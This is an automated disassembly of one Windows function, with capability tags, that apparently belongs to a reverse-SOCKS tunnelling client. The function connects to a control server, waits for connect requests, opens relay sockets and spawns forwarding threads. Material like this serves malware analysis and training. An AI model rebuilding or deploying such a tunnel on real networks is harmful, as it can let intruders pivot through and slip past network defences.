Function at 0x4025c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x421c24]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x402615
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + 0x48]
test edx, edx
je 0x40260d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Ah..._Windows._Dont_want_to_get_string_of_error..._Heres_the_code:__d_n
push 2
call fcn.00406578
add esp, 4
push eax
call fcn.00401950
add esp, 0xc
or eax, 0xffffffff
jmp 0x40293f
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x34], eax
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x38]
mov eax, dword [edx + 0xc]
mov ecx, dword [ecx + eax]
mov edx, dword [ecx]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
movzx ecx, word [ebp + 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
mov edx, 2
mov word [ebp - 0x24], dx
push 0x10
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jge 0x4026a8
mov edx, dword [ebp + 8]
movzx eax, byte [edx + 0x48]
test eax, eax
je 0x4026a0
call fcn.00408a7c
mov ecx, dword [eax]
push ecx
call fcn.004088a9
add esp, 4
push eax
push str.Error_connecting_to_control:__s_n
push 2
call fcn.00406578
add esp, 4
push eax
call fcn.00401950
add esp, 0xc
or eax, 0xffffffff
jmp 0x40293f
mov edx, dword [ebp + 8]
movzx eax, byte [edx + 0x48]
test eax, eax
je 0x4026da
movzx ecx, word [ebp - 0x22]
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
movzx edx, ax
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.Connected_to_the_remote_end_at__s:_d._n
call fcn.00401990
add esp, 0xc
mov byte [ebp - 0x26], 1
push 1
lea ecx, [ebp - 0x26]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call fcn.00401a20
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402720
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 0x48]
test ecx, ecx
je 0x402718
push str.Control_handshake_failure__control_server_died__probably._n
push 2
call fcn.00406578
add esp, 4
push eax
call fcn.00401950
add esp, 8
or eax, 0xffffffff
jmp 0x40293f
mov edx, 1
test edx, edx
je 0x40293f
mov byte [ebp - 0x25], 0
push 1
lea eax, [ebp - 0x25]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.004019d0
add esp, 0xc
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jg 0x402774
mov edx, dword [ebp + 8]
movzx eax, byte [edx + 0x48]
test eax, eax
je 0x40276f
push str.Control_server_has_errored_or_died._n
push 2
call fcn.00406578
add esp, 4
push eax
call fcn.00401950
add esp, 8
jmp 0x40293f
movzx ecx, byte [ebp - 0x25]
test ecx, ecx
je 0x4027cc
mov edx, dword [ebp + 8]
movzx eax, byte [edx + 0x48]
test eax, eax
je 0x4027bc
push str.Error:_non_connect_msg_sent_to_control_socket._n
push 2
call fcn.00406578
add esp, 4
push eax
call fcn.00401950
add esp, 8
movzx ecx, byte [ebp - 0x25]
push ecx
push str.Heres_what_was_sent:__d_n
push 2
call fcn.00406578
add esp, 4
push eax
call fcn.00401950
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402720
mov dword [ebp - 0x2c], 0
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jge 0x40282c
mov edx, dword [ebp + 8]
movzx eax, byte [edx + 0x48]
test eax, eax
je 0x40281c
call fcn.00408a7c
mov ecx, dword [eax]
push ecx
call fcn.004088a9
add esp, 4
push eax
push str.Error_creating_connection_socket:__s_n
push 2
call fcn.00406578
add esp, 4
push eax
call fcn.00401950
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402720
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x10], edx
movzx eax, word [ebp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov ecx, 2
mov word [ebp - 0x14], cx
push 0x10
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jge 0x4028a2
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + 0x48]
test edx, edx
je 0x402892
call fcn.00408a7c
mov eax, dword [eax]
push eax
call fcn.004088a9
add esp, 4
push eax
push str.Error_connecting_on_CONNECT:__s_n
push 2
call fcn.00406578
add esp, 4
push eax
call fcn.00401950
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402720
mov byte [ebp - 0x27], 2
push 1
lea ecx, [ebp - 0x27]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00401a20
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4028e5
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 0x48]
test ecx, ecx
je 0x4028e0
push str.Control_server_died._Cannot_send_REVSOCKS_NORMAL_handshake__n
push 2
call fcn.00406578
add esp, 4
push eax
call fcn.00401950
add esp, 8
or eax, 0xffffffff
jmp 0x40293f
push 0x18
call fcn.004089d4
add esp, 4
mov dword [ebp - 0x30], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp + 8]
mov dword [edx], eax
mov ecx, dword [ebp - 0x30]
add ecx, 8
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
mov eax, dword [ebp - 0x10]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0xc]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 8]
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ecx + 4], edx
push 0
push 0
mov eax, dword [ebp - 0x30]
push eax
push 0x401b50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x44], eax
jmp 0x402720
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403553
mov esp, ebp
pop ebp
ret